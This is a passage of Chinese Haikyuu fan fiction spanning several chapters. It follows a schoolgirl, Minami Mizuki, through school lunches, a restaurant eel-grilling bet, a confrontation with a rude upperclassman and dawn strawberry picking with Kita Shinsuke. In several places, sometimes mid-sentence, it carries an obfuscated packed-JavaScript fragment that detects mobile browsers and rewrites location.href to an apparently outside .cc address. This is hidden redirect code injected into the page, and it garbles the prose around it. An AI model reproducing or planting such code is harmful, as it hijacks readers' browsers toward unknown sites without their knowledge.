“要一起吃吗?” 宫治还没介绍完就听见了南见月对他主动的邀请,他有些受宠若惊,犹豫了一下就红着耳朵尖答应了。 又一起吃饭了……好像……好像……那种关系…… 他从杂物间里翻出自己上次坐的那个有些摇晃的椅子,在南见月对面坐下,一边拆着饭团的包装,一边想。 她今天便当,会是什么呢? 南见月咔嚓咔嚓地咬着脆脆的甜筒外壳,对面的宫治也打开包装袋开始往嘴里塞饭团。 直到宫治塞完一个饭团,南见月才吃完雪糕。 她拉开便当袋的拉链,取出分量可观的三层大饭盒。 取出饭盒又放在桌上的动作自然吸引了宫治的注意,看到宫治期待好奇的眼神,南见月一边打开饭盒一边道:“今天的是咖喱。” 第一层照例还是由纪子准备的水果,今天是切好块儿的菠萝和草莓。 第二层是今天便当的重头戏,咖喱鸡肉土豆。 咖喱,是一种非常简单又美味的事物,几乎不会有人不喜欢它。 南见月也坚定地觉得,咖喱和鸡肉是绝对的天作之合,胡萝卜、洋葱和土豆作为配角,发挥的作用也是无可替代的。 今天是特意早起做的便当,想起今天早上一边打哈欠一边备菜,南见月忍不住笑了笑。 去了皮的鸡腿肉要干净的容器中用适量的盐、酱油、淀粉和橄榄油腌制十五分钟,这样才能保证入味,这段时间可以用来准备其他配菜。 热锅热油,将腌制好的鸡腿肉倒进去稍微煎一会儿。在这个过程中,粉红的鸡肉逐渐变白,边缘呈现出了漂亮的焦黄,这一步就算没有煎到全熟也没关系,主要是为了给鸡肉上色。 倒出半熟的鸡肉之后,可以就着刚刚煎完的锅里的底油放入切好的洋葱。到洋葱变软变透明,就可以把切好的土豆和胡萝卜加进去翻炒。翻炒得差不多之后加入咖喱块,等到融化之后再加入鸡腿肉和热水炖煮。 南见月把饭盒的盒盖翻过来放在桌上,拿起筷子开始挑里面的洋葱。 虽然做咖喱的时候洋葱是必不可少的,但是南见月不喜欢在咖喱里面吃到洋葱,每次吃的时候就会把它们提前挑出来。 “你不喜欢吃洋葱吗?” 南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289239|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见月低头挑洋葱的动作没停,只是点了点头。 宫治笑了笑,道:“我想起来,妈妈告诉过我一个可以让咖喱变好吃的秘方。” 这是南见月感兴趣的话题,她抬起头扬了扬下巴示意宫治继续说。 “就是……” 他的目光落在了南见月唇边的巧克力渍上,道:“在煮咖喱的时候加一块巧克力,可以让咖喱变得更浓郁。” 南见月看着他笑了一下,点头应下,“那下次我会试试看的。” 宫治点头,他也会试试看的。 巧克力。 —— 回到教室不出意外又被宫侑抓住了。 “Minami——” 宫侑在念她的姓氏的时候总会把尾音拖得很长,虽然看过来时的表情幽怨得有些好笑,但南见月还是觉得有些头疼,她低头玩放在桌洞里的手机,装作很忙的样子。 “你不是没有参加社团吗?我们稻荷崎的男子排球部可是很有名的,你先来看看嘛——” “我可是很厉害的二传手喔!” “这周末还有练习赛,我会出场诶!” “你来嘛——” 好吵。 南见月恨不得捂住自己的耳朵,无奈,她只得放下手机转身认真地道:“我也知道你们男排很厉害,但这我真的不想当经理不冲突。” 宫侑却没有被说服,他有些疑惑地道:“厉害又帅气,难道你不喜欢吗?我们有很多粉丝的。” 就像他小时候在排球教室觉得二传手很厉害,也就爱上了排球,爱上了二传手这个位置,直到现在也没有变过。 南见月道:“排球的确有点有趣,但我还没有达到喜欢的程度,偶尔看看比赛,并不代表着我愿意为了感受所谓的青春,每天必须提前一个小时去体育馆帮着整理球场、写部活日志、装饮料和洗衣服。” “这不是我想做的事情。” 宫侑好像懂了。 他初中时不理解为什么明明自己的托球并没有问题,队里的攻手却不能拿分,那时候让他很不高兴。 但后面就懂了,因为对方没有在自己想做的事情上付出足够的努力。 那位攻手辜负了自己。 可是南见月本身就不喜欢做球队的经理,所以她本来就不需要努力。 宫侑闷闷地应了一声。 他忍不住想。 明明是听说周末要跟他们打练习赛的那支球队有两位女经理,他直觉不能落人下风,这才来撺掇南见月当经理。 但是他想要的到底是经理,还是想要在训练的时候看见她呢? 南见月见宫侑应了,便转过头继续玩手机。 她前段时间和班上许多同学加了好友,此时正在浏览她们的动态。 在一溜自拍和风景照中,南见月随意一拉,浏览界面正好出现了一个许久不见的头像。 是赤苇。 他早上更新了动态,是一张图片,没有文案。 图片中央是一碗桂圆汤。 南见月地手指在他的头像上方迟疑地悬空,最终还是点了进去。 赤苇京治的社交平台像他的人一样干净利落,只有两条动态,两张图片。 一条是刚发的桂圆汤。 另一条…… 是他们刚在一起时的合照。 【明月照我时】 南见月摁灭了手机。 8.烤鳗鱼 所有的放纵最后都需要付出代价。 巧克力脆筒雪糕很好吃,但果然还是不应该在这时候吃。 第二节课刚结束,脸色惨白的南见月就在老师的建议下来到了医务室。 校医老师不在,但幸好手里攥着的是桃濑雪菜给她的止痛药。 例假来得突然,这类长效缓释剂现在吃效果也不是很好。 但顾不了那么多了。 来到医务室,南见月和着水吃掉了苦苦的白色药片。 掀开一边挂着用来分隔空间的纱帘,铺着白色床单的小床还算干净。 南见月躺了上去。 今天的阳光不刺眼,柔和的光线透过薄薄的窗帘照入室内,落下树叶枝桠密密麻麻的剪影。 并且不用上课。 不知道是不是因为止痛药起了作用,感觉小腹处都不那么疼了。 再次醒来是被一阵细微的声音吵醒的。 额头冰凉,南见月摸了一把全是冷汗。 腰腹部已经没知觉了,连带着大腿都开始酸痛。 窗外也传来说笑声,应该是放学了。 隔着微透的纱帘,有一个人影弯下腰在药柜边找着什么东西。 南见月的脑袋晕晕乎乎的,她掀开被子控制着麻木的关节慢吞吞地下了床,又拉开纱帘。 来人也察觉到了身后的动静,于是她对上了一双灰绿色的细长眸子。 对方的头发不知道是不是睡翘的还是天生的,发梢带着微妙的卷度在耳上翘起,像是两个妙脆角。 他整个人都带着些无精打采的惫懒,嘴里还叼着一支今天中午才见到过的清凉饮料棒。 他一只手拿着手机,另一只手捏着几卷绷带,正扬起眉毛看着拉开纱帘的南见月。 南见月看着他嘴里叼着的饮料棒,小腹一抽又开始疼了起来。 【可恶。】 【好想喝桂圆汤。】 来人,也就是角名伦太郎想的则是—— 【她看起来可真讨厌饮料棒呢,明明那么喜欢脆筒雪糕。】 南见月有点没力气到腿软,但她还要去教室收拾自己的东西然后赶回家去。 角名伦太郎关上了药柜的门,跟在南见月身后出了医务室。 除了刚刚的对视,两人都没有展露出要交流的意思。 不过角名伦太郎是因为缠手指的绷带用完了才来医务室拿的,所以本来就不是很想参加跑步训练的他也就慢下脚步,和南见月一后一前地穿过走廊。 而且,她看起来真的感觉会随时血槽清空的倒地。 最后角名看着南见月走进了1年1班的教室,他才恢复了自己正常的行走速度调转方向往体育馆走去。 原来和那个宫侑一个班啊。 想起队里双胞胎的脱线日常,角名伦太郎从心底里为这个只有两面之缘的女生叹了口气。 收拾好东西,这时候止痛药的药效似乎也发挥出来了,南见月感觉身上恢复了些力气。 她拿出手机,点开了由纪子发过来的未读短信。 【亲爱的小月,我和爷爷有些急事要去东京,可能要一个星期才能回来,你直接去店里吃饭吧,藤本说今天有非常新鲜的鳗鱼喔。】 去店里吃啊…… 由纪子说的“店里”,就是南氏家族经营的某个连锁料理店的分店,因为离家和稻荷崎都很近,店长藤本和南拓一郎还是同门师兄弟的关系,南见月去过好几次。 其实并不饿,但就这样回家的话也没什么要做的会很无聊。 藤本大叔上次还说要开发新菜式,干脆去店里看看好了。 —— 宫侑宫治和角名伦太郎都没想到再见她会这么快。 她穿着不合身的围裙,头上戴着帽子,神色专注地站在一片灰烟里,纤长白皙的手指沾上了油污与炭灰,正捏着竹签小心地将鱼肉翻面。 袅袅升起的烟雾模糊了周围的光线,她的面容朦胧而柔美,那双琥珀色的瞳孔专注至极,完全没有注意店内形形色色进进出出的人流。 如果不是对着那条躺在烤网上、脂肪层经过烤制而发出轻微脆响声的死鱼就好了。 宫侑这么想。 宫侑站定的身体被身后的人推了一把,前辈抱怨的声音响起,“你干嘛呢,脑袋打球打傻了吗,快进去啊。” 这位留着寸头的社团前辈平日里也相当刻薄,但同样是个刺头的宫侑却没有立刻反唇相讥。 他皱了皱眉,在这位前辈转头看过去前,收回了自己的目光,道:“知道了。” 虽然语气仍然不算友好,但这可是宫侑啊。 这种时刻算是他难得服软的样子了。 疑惑的前辈想起他刚刚看过去的样子,扭头只见烟雾缭绕之间,学徒打扮的少女修长的脖颈和小半张清秀的侧脸,她似乎在扭头倾听旁边老师傅的指教。 南见月在藤本的指教下把铁签抬高,离炭火远了些。 关西流派的烤鳗鱼与关东流派的不同,把鳗鱼直接破腹后用铁签串烤,保留鳗鱼最原始的鲜香风味。 至于为什么是破腹而不是破背,这里面的理由则是众说纷纭。 有人说是因为关西人大开大合,不避讳“切腹”,反而认为这体现着着开诚布公、豪爽大气的关西特色。 不过南见月更认同另一种说法。 从经济意义上看,使用开腹式的鳗鱼肉会比开背的鳗鱼肉多出5%的面积,在摆盘上看起来也就让人觉得更实惠。对于本就不如关东肥美的关西鳗鱼来说,这5%的面积便弥足珍贵了。 至于关西流派的烤鳗鱼的口感,因为不使用关东流派先烤再蒸又烤的做法,直接一口气烤制完成,这样的做法让最后的成品更加酥脆焦香。 长时间的烤制才能让鳗鱼的风味更加美妙,但当然—— 也要避免烤糊。 虽然因为藤本的提醒,这条可怜的鳗鱼避免了烤成碳被丢掉的结局,但是因为过旺的火候,边角处的颜色已经过于深了。 南见月面无表情,但翻动得更频繁了。 她已经失败了两条。 藤本和她都不会允许食物被浪费,而三条鳗鱼已经是她饭量的极限了。 意思是,这条鱼是她最后的机会。 宫侑坐立不安的样子很快便被一进店就开始看菜单的宫治发现了。 或许是出于双胞胎之间某种特殊的心灵感应,即便宫侑并没有做什么,宫治也觉得那个方向必然有他在意的什么。 他从菜单和拥挤的座位间抬起头,不带犹豫地看着被柜台和隔板挡住,只剩一小块映出明亮火光的窗格里,低着头的那个人。 黑发归拢在帽子里,光滑的皮肤上凝结起颗颗闪亮的汗珠,脸也被炭火的热量辐射得通红。 直到她将烤好的鳗鱼郑重地放在了干净的盘子里,又抬起头,目光同样越过店内的人声鼎沸,与他对视。 宫治才能确定。 是她。 南见月。 仅仅相隔不到六个小时,宫治又见到了她。 和第一次在公园的溪边一样,简直是命运般的遇见。 南见月转过头,看着藤本笑着用筷子刮下一小块鱼肉尝了尝。 第三条鱼算是唯一比较成形和像话的,完美的方形鱼肉被他用筷子夹起一角。 缺了一块。 南见月按住狂跳不止的额角,安慰自己,毕竟是指导老师。 虽然这场指导的本质——只是对方利用她的好胜心而设立的赌局。 藤本细细品尝后,用那双同样沾着炭灰的大手拍着南见月的肩膀开怀大笑。 “不错嘛不错嘛——” “虽然只有我烤的鳗鱼三分之一好吃,不过也算是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323673|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋,不愧是那家伙的孙女。” 藤本店长看了看占据了店里一小半座位的枣红色队服男高,他脱了围裙。 走出去之前指了指旁边道:“你去洗把脸然后把这些都吃掉,幸好拓一郎那家伙去东京了,不然看到你这样怕是要找我算账呢。” 指尖火辣辣的还有些发痒,南见月搓了搓发烫的皮肤,直到打开水龙头接触到凉水才叹了口气。 真是…… 因为和藤本因为争论烤鳗鱼的流派问题而打赌,顶着本来就不太舒服的身体站在这里烤了三个小时的鳗鱼这种事情。 真是受不了。 得到的是什么—— 被火焰灼到发红发烫的皮肤、麻木的腿脚和酸痛的腰腹,还有三盘必须吃完又卖相一般的烤鳗鱼。 明明最开始她只是想来吃顿饭。 …… 南见月洗完手,又捧起凉水泼在了自己的脸色,这才感觉稍微轻松了些。 她脱下围裙,将三盘鳗鱼放在了托盘上,自己给自己上了菜。 这家分店开在距离学校很近的地方,菜色实惠,量大管饱。 是许多运动社团的聚餐场所。 枣红的队服。 宫双子。 还有在医务室见到的妙脆角发型、爱吃棒冰的高个子。 以及正在跟藤本交谈,只能看见背影的那个人。 为什么明明是白色头发,发尾却开始变黑了。 是氧化了吗。 稻荷崎男子排球部? 粗略一看至少八九个人,都是高中生中数一数二的高个子。 但感觉比想象中的人少啊。 不管了。 南见月拿起筷子,首要的目标当然是最后烤好的那条,还在冒着热气的,最成功的一条烤鳗鱼。 尖头的筷子轻易地插入烤制得金黄的鳗肉中,入口先感觉到的是鱼皮的焦香,然后是细嫩的鱼肉。 她还没来得及吃第二口,那边的声音陡然大了起来。 “啧……” “要我说,信介你种地的前途也不错嘛,现在的水果贵的要死,就是你可别像那种乡下人一样搞得浑身蚂蝗啊,到处是泥巴,恶心死了……” 刚刚推搡宫侑的那个寸头男挠着下巴想要去搭那位黑白发色的男生。 男生,也就是北信介,他皱了皱眉,站起身来躲过了对方的手臂。 他面上的表情依旧温和,但眼睛和语气都没有温度 ,“吉冈前辈,容我提醒,您平日里的饭食,里面的大米和蔬菜,便是我们这种人种出来的。” 他的态度彬彬有礼,却一寸不让,“请您收回那样的话。” 南见月看着那边。 吉冈旁边的另一个男生似乎也说了什么,宫侑更直接,直接朝吉冈比了个中指。 南见月看见宫治也正大光明、面无表情地翻了个白眼。 但接连被后辈抵触的吉冈似乎感觉到了冒犯,他涨红着脸,羞恼地四下张望之下看见了望过来的南见月。 吉冈瞪大双眼,指着她道,“喂!那边那个女生,你说,难道他们裤脚上的泥巴顺着雨水落下来弄脏街道,脚上的蚂蝗扭动着吸血的样子不恶心吗!” “真是讨厌!” 被指着的南见月一下子被那群男生的目光洗礼。 她慢条斯理地放下筷子,轻笑一声,道: “恶心死了。” 吉冈以为她是赞同,得意的笑声还未发出就听见她疑惑地发问道:“你这种人渣怎么还有脸吃饭呢?” “怎么说呢,你……,啧,头发短见识也短的蠢货?长这么高连蚂蝗都会害怕的饭桶?还是说你上厕所的时候把脑子一起拉出去了?” 南见月语气平淡,但杀伤力毋庸置疑。 吉冈的脸逐渐扭曲变形,他咬紧牙齿,额头上的青筋一跳一跳的。 9.烤鳗鱼(后记) 店里刚刚谈笑风生的气氛已经消失殆尽,只余下剑拔弩张的紧张感。 南见月本来面无表情地在与吉冈对视,却见吉冈身后站在的宫双子对视一眼,齐齐向她比了个大拇指。 不是…… 这对双胞胎,真挺可爱的。 南见月控制着面部肌肉,努力不笑出声来。 她站起身来,道:“看你这个样子,很愤怒吗?果然不该指望你会因为我的话感到羞愧。” 藤本店长走到南见月身前,他身后还跟着两个头缠汗巾、虎背熊腰的店员。 他胡子拉碴的脸上扯开一个略显凶恶的笑容,道:“我们店里使用的食材很多都是向附近的农民直接购买的,既然您的意见这么大,那么这次就不收您的饭钱了,希望您以后也不要到我们店里用餐了。” 吉冈平时再怎么跋扈蛮横,也是一个还有好几个月才能成年的高中生,他畏惧少女面前站着的几个彪形大汉,但最让他怒火中烧的却是南见月轻蔑的目光和身后他讨厌的后辈们的窃窃私语。 即便底气不足,焚烧着自尊心的无形火焰让他怒极反笑,想要说些什么却被刚刚坐着他身边的高壮男生拉住了。 “高桥部长!” “你给我闭嘴。” 被叫做部长的高桥,皮肤黝黑,目光却清明冷静,他朝北信介、南见月以及藤本店长认真地道了歉,又保证以后会认真约束吉冈。 言辞恳切,大事化小小事化了,果然是主将风范。 南见月有些幸灾乐祸,却又觉得如果她不反驳,或者说藤本店长不在,这位部长或许也不觉得吉冈这种蠢货说这些蠢话是需要管教的吧。 不过这些麻烦事还是让他们去交涉吧,南见月坐回原位,继续吃自己的烤鳗鱼。 烦死了,都有些冷了。 她没理那边吵闹的DK们,努力吃完了一条鱼之后停下了筷子。 丰厚的油脂在鱼肉上微微凝固,又或许是因为止痛药刺激肠胃的副作用,南见月感觉胃口全无。 南见月又瞪了一眼像只斗败的公鸡似的垂着头的吉冈,这家伙被那位高桥部长拽着出了店门。 真是讨厌的家伙。 左手被火焰灼到的指尖也很痛,南见月搓了搓又痛又痒的手指,不想吃了。 桌前突然投下阴影,南见月抬头,宫治对她挑了挑眉毛。 南见月指了指对面的座位,道:“坐下吃吗?” 宫治坐下,看着面前两盘有不同程度的焦糊的烤鳗鱼,笑着抽出筷子,“吃。” 南见月点了点头,换了双筷子一点点剔除了这份鳗鱼肉上碳化的部分。 弄好一盘后,她把盘子推到了宫治面前,道:“如果觉得难吃就算了。” 宫治摇摇头,认真地道:“我会吃的。” 油润焦香的鱼肉带着咸甜酱汁的风味,虽然有些冷了,但是宫治还是觉得很满足。 宫侑只是稍不注意,就看见宫治已经跑到了南见月对面,甚至已经开始吃她的饭了。 ? 他迅速站起来,在角名伦太郎好奇的目光里朝那边走了过去。 “喂——猪治怎么不叫我啊!” 宫侑抓住宫治的肩膀,看的却是他对面坐着玩手机的南见月。 “你也要吃吗?” 宫侑对着南见月坦然的目光说不出话来,刚刚想好的质问话语都被吞入腹中,他拉过旁边的椅子顺势坐下,梗着脖子顶着宫治不满的目光说道:“吃!” 不管双胞胎中的任何一方得到了什么,另一方都必须立刻拥有一样的东西。 这是宫家从宫侑和宫治出生那就天知道的双胞胎喂养准则。 宫侑自然也深以为然。 阿治想要、阿治得到的任何,他都有权与其分享。 于是他甚至等不及南见月将另一份烤鳗鱼上的焦黑部分剔除,抽出筷子就夹起鱼肉狼吞虎咽。 甚至比宫治还更快吃完。 南见月忙着回复朋友们的信息,完全没管他们两个的暗暗较劲。 三个干净的盘子叠放,南见月跟藤本说了声就准备回家。 藤本从厨房走了出来,他看了看外面的天色,道:“你等等,我有事跟你说。” “干什么?不会我明天还要来烤鳗鱼吧?” 南见月的脸色不太好,虽然仍不服输,但如果就因为好胜心让她再来烤几次,那她好像也可以承认自己不是这块料。 藤本笑着敲了敲她的额头,得到南见月的一个白眼,他道:“想什么呢,要学这门手艺当然要从剖鳗开始,我当年光是剖鳗就学了八年,今天只是让你感受一下而已。” “一开始就直接烤鳗鱼,放我那会儿哪有这种好事?” 他露出怀念的表情,随后又像是想到了什么似的,道:“不过,拓一郎对你的期待本来也不是学好怎么烤鳗鱼,不然还要我这个专业的干嘛,想当年,我的鳗鱼可是烤得最……” 南见月大概知道他想说什么,干脆地道:“所以我要干什么?” 被打断话的藤本露出称得上诡异的微笑,他指了指站在不远处的清秀少年,道:“看到他了吗?” 南见月点点头。 “信介!过来一下。” 北信介似乎正在跟刚刚还在闹腾的宫双子说着什么,听到藤本叫他便转头,朝着这边走了过来。 真是个一眼就能看出来表里如一,踏实又可靠的人。 他先是向藤本店长问好,然后转向南见月,道:“你好。” 北信介有一双几乎能够望见人心的眼睛,在那样温和从容的目光之下,南见月抖了抖睫毛,偏头不再与他对视。 总感觉,每多一秒,就会被这个人看透。 “前辈好。” 藤本笑眯眯地补充道:“小南也是稻荷崎的学生,一年级。” 北信介露出一个温和的笑意,他察觉到了南见月对于与自己对视的抵触,便也不再把目光放在她身上,看着藤本问道:“店长,叫我是有什么事吗?” 藤本点点头,对南见月道:“周末小南要去农场帮着采摘食材,到时候就麻烦信介帮忙给她分配一下工作了。” 南见月怔了一下,道:“喂,我还有半个月才满十六岁诶。” 藤本又敲了一下她的头道:“放心,我又不会给你发工资,不算童工。” 更何况给店里供货的那个农场是南由纪子给南见月准备的私产,等她成年之后就会直接送给她。 在自己的农场帮忙,算什么童工? 南见月:…… 北信介也愣了愣,他下意识问道:“她吗?可是……” 面前的少女神色疲惫,脸上被烟火熏烤后的红晕散去,露出苍白的底色。 光滑的皮肤一看就是没有经过日晒风吹的时光磨练的白皙细嫩,手指微红,却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南见月低着头接过那管小小的白色药膏,小声地道:“谢谢。” 北信介看着她不断颤动的睫毛,道:“也谢谢你。” “嗯?” “刚刚你骂了吉冈前辈……我觉得很解气。” 南见月终于抬头,望进了那双平静的眼睛里。 骗人,他的眼睛里根本没有一丝她刚刚的幸灾乐祸。 即便对方说了那样无礼的话,也依旧尊称他为前辈。 不赞同前辈的观点,但看到对方吃瘪也不会有绝大部分人都有的幸灾乐祸。 “还有,虽然不知道你为什么要答应藤本店长去农场帮忙,我会也看情况给你分配工作,但是请不要勉强自己,做能做的到的事就可以了。” 那对出了名的双胞胎被对方管得服服帖帖的。 只是刚刚的一下碰面,就注意到了她左手的不对劲。 甚至连她硬着头皮答应去农场都看出来了。 这到底是个什么样的人啊? 宫侑和宫治之间的暗流涌动她不用花费过多心思便一清二楚,这位二年级的前辈却让南见月感受到了挫败。 看不懂他。 而且总感觉,反而是自己在对方眼中无所遁形。 10.草莓 一周两次的体育课,今天是排球课的对垫练习。 “小南!” 和她对垫的桃濑雪菜神色惊恐,目光随着被她垫飞的球飞速下落,眼看就要砸向背对着她们的体育老师的后脑勺。 南见月反应很快,她双腿微曲降低重心,调整好姿势后迅速轻巧地跳起,以一个不算很标准的跳传姿势把球传了回去。 桃濑雪菜伸出手,那颗险些谋害老师的排球就乖巧地落入了她的怀中。 高度、球速、落点都无可挑剔。 抓着手里的球,桃濑看着模样轻松的南见月,头上顶着一个大大的问号。 “你排球打得这么厉害的吗?” 南见月走过来,道:“不算厉害吧,只是会打而已,刚刚也算是超常发挥。” 说起来南见月所有的排球基本功都是赤苇京治教的。 一开始她只是在他自主训练的时候抛抛球,后来被他用锻炼锻炼身体的理由练了一段时间,技术说不上好,但也算打下了良好的基础,偶尔还能传几个好球。 赤苇京治对南见月的评价也很简单,体力一般但反应速度快的惊人,身体协调性很好,愿意好好练绝对可成大器。 可惜南见月没打算好好练。 但是今天的手感似乎特别好。 “她的节奏很不错对吧。” 刚刚差点被砸到的老师丸山闻言回头,她点了点头,道:“是佐藤老师啊。” 丸山美惠是女生这边的体育老师,佐藤则是男生那边的。 佐藤笑道:“是个二传的好苗子,刚刚那个传球精彩极了,就是矮了些。” 丸山美惠若有所思,“她反应这么快,我倒觉得她更适合……” “……嗯?” —— 南见月不知道老师们的打算,她只觉得手臂好痛。 排球是一项充满疼痛的运动,一定是很喜欢排球的人才能打下去吧。 集合宣布解散前,队列里的她看着手臂上密密麻麻的血点想。 明天就是周末,她得去农场帮忙。 周末? 记忆中好像某人提到过…… 这节课是下午的最后一节,上完课换好衣服就可以直接放学了。 男生和女生被分隔在两个不同的场地,南见月一眼就看见了对面的队列中那个鲜艳的金毛脑袋。 似乎是察觉到了她的目光,站在宫治身边的宫侑也回了头,对她露出了一个“高深莫测”的笑意。 南见月转回头。 她想起来了。 宫侑那天跟她说过的。 【这周末有练习赛……】 周末男子排球部有练习赛,但是周末北信介要和她一起去农场帮忙。 难道北信介不用训练和上场吗? 南见月其实很少对别人的事情有过多的关注,因为大多数人都很好懂可以一眼看穿,所以总是很无趣。 但是北信介身上总有一种她无法理解的淡淡人机感。 于是宫侑抱着排球准备直接跑去排球馆参加部活的时候,和宫治一起被南见月叫住了。 “宫。” 两位同样姓氏的男高回头,看向了叫住他们的南见月。 “叫我干嘛?” 宫侑最先停住脚步,他语调高昂,却只是偏过了半张脸,似乎是想要装作一副不耐烦的样子。 宫治则完全转过身体,看着南见月问道:“怎么了?” “喂,怎么看她叫的都应该是我吧。” 南见月见状直接看向宫治,道:“你们周末的练习赛具体是什么时候啊?” 宫治的眼睛略微睁大了些,眸中闪过一丝不易察觉的期待,他道:“就在我们学校的第一体育馆,周六下午一点半,和西宫一高。” 宫侑表现得则更加明显,他也不闹了,身上带着刚运动过后的热气凑了过来,道:“你要来看我们的练习赛吗?” 南见月摇了摇头,她道:“我想问问那天的那位前辈。” “北前辈?!” 两兄弟对视一眼,异口同声地惊呼。 “对,他是一个什么样的人?明天的练习赛他会上场吗?” “北前辈是……” 2年7班,品学兼优,排球技术算是不错,但不是人才辈出的稻荷崎排球部的正选队员,甚至连替补上场的机会都没有。 可就是这样一个人,却是排球部的黑须教练特意招进来的。 周末练习赛的对手西宫一高也是县内的顶级强校,经常与稻荷崎争夺全国大赛的门票,是非常强劲的对手。 这次的练习赛是两校的教练都想试试新部员的能力,上场队员和替补队员的名额都已经确定了,没有北信介。 难怪要和她一起去农场呢,原来是这样。 得到了足够的信息,南见月点了点头,道谢之后就准备离开。 “诶诶诶——所以你到底来不来看练习赛啊。” 宫侑连忙拉住她。 南见月摇了摇头,道:“不,周末我有事,你们加油。” 她拿出手机看了看时间,从宫侑手中抽出自己的手腕,道:“我先走了。” —— 周六凌晨。 换好长袖长裤的南见月强撑着眼皮坐上了车。 ……虽然之前小学的时候有参加过种地实践活动,但她真的不知道做农活要凌晨三点半起床。 到达农场的时候是四点,南拓一郎让家里的司机送她过来的。 从车上下来的时候天色还没亮,但已经能看见人影进进出出。 北信介站在大门口,正在跟旁边的一个人说着什么。 南见月慢慢挪过去,等到他跟那位上了年纪的老奶奶说完话之后才看向他。 神色困倦,表情是还没睡醒的迷茫,但脸色红润。 北信介放心了些,这才把手里提着的篮子递给她,南见月下意识接过低头看了看,里面是一条深色的围裙、帽子、手套,下面似乎还压着什么东西。 “今天你要去那边摘草莓,摘的时候要挑选一下,把熟透的先摘下来,注意不要弄伤植株。” 北信介还说了些注意事项,南见月努力撑起精神听完了。 北信介指了指他们面前一条往左分叉的小路,道:“你往这条路直走就好了,那边编号E-05的棚子就是,有事就叫一声,旁边都是有人的。” 对方交代完就走了,他行色匆匆,看起来也是有事要忙的模样。 跟着他指的方向,南见月找到了自己的工作地点。 旁边的棚子里都亮起了灯光,还能听见细小的声音,应该是已经有人来工作了。 掀开塑料链,南见月用手机的灯光照着找到了开关,开了灯的棚子里一列列覆盖着保温膜的草莓植株绿意盎然,但只要轻轻撩开叶子或者弯下腰就能够看见成串或青或红的草莓。 角落放着塑料篮,应该是摘满一个篮子之后就可以放进里面保存。 篮子里除了围裙之类的,底下还有降温贴、风油精和创可贴。 不愧是包里常备药膏的前辈。 穿上围裙戴上口罩和手套,南见月弯下腰开始摘草莓。 将成熟的草莓卡在食指和中指见往前压,就能够轻易地摘下且不伤害到植株。 凌晨是一天中气温最低的时候,这个时候采摘草莓,果心温度最低,便于保存,也能够在天亮之前运输出去。 南见月小心地把第三篮草莓倒进塑料篮,她已经完整地摘完了一列。 大棚里一共有五列。 直到天光微亮,南见月也不过摘完了一半。 北信介已经来过了一回。 因为只是单纯的种植大棚,并没有承接游客,草莓植株都是直接栽种在垄高的土堆上,他看见她似乎是蹲的累了,几乎是半跪在地面铺着的塑料布上摘草莓。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367397|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了看角落已经装满两个塑料篮的草莓,把它们搬了出去,然后就进来帮着她一起摘。 长时间抬起的手臂已经开始发麻,脖子和腿也很酸痛。 南见月抬起头叹了口气,看了看旁边不远处低着头专心摘着草莓的男生,他速度很快,低着头一丝不苟,像是个被设置了固定程序的机器人。 两人一起摘,终于赶在早上九点前摘完了。 一篮篮的鲜红草莓表皮光亮,带着草莓蒂和晨间的露水被装车,运往城市。只需要一个小时,它们便会被摆到水果店或商场的货架上。 “接下来做什么。” 北信介看她,南见月脸色如常。 “休息半个小时,然后去除草,里面有休息室。” 南见月点头应下,顺着他指的方向走过去,果然看见了靠着围栏的一间小屋。 她推开门,里面放着一条长桌和好几个椅子,旁边还有饮水处和杯子。 顾不得太多,南见月拖着麻木的腿脚随便拉开一个椅子坐了下去。 开始不觉得,长时间保持一个姿势之后,血液不流通带来的肌肉酸痛也不容小觑。 又累又困,强撑着睁开眼皮设置了十分钟后的闹钟后,南见月就趴在桌子上睡了过去。 眼一睁一闭,十分钟飞速流逝,南见月摁掉闹钟,这才发现面前已经坐了个慈眉善目的老奶奶。 结仁衣见她醒来,笑着把一杯温水推到了她面前。 南见月谢过她之后端起来喝了一口,水还是温热的,喝起来很舒服。 喝完水,干渴被缓解,南见月顺理成章地感受到了饥饿。 她从衣服的口袋里掏出一条巧克力,犹豫了下问了问对面的老奶奶,“您……您吃巧克力吗。” 老奶奶慈祥的脸上露出笑意,她摇头,声音苍老却温和,“不吃,不过小姑娘的早餐可不能就吃这个。” 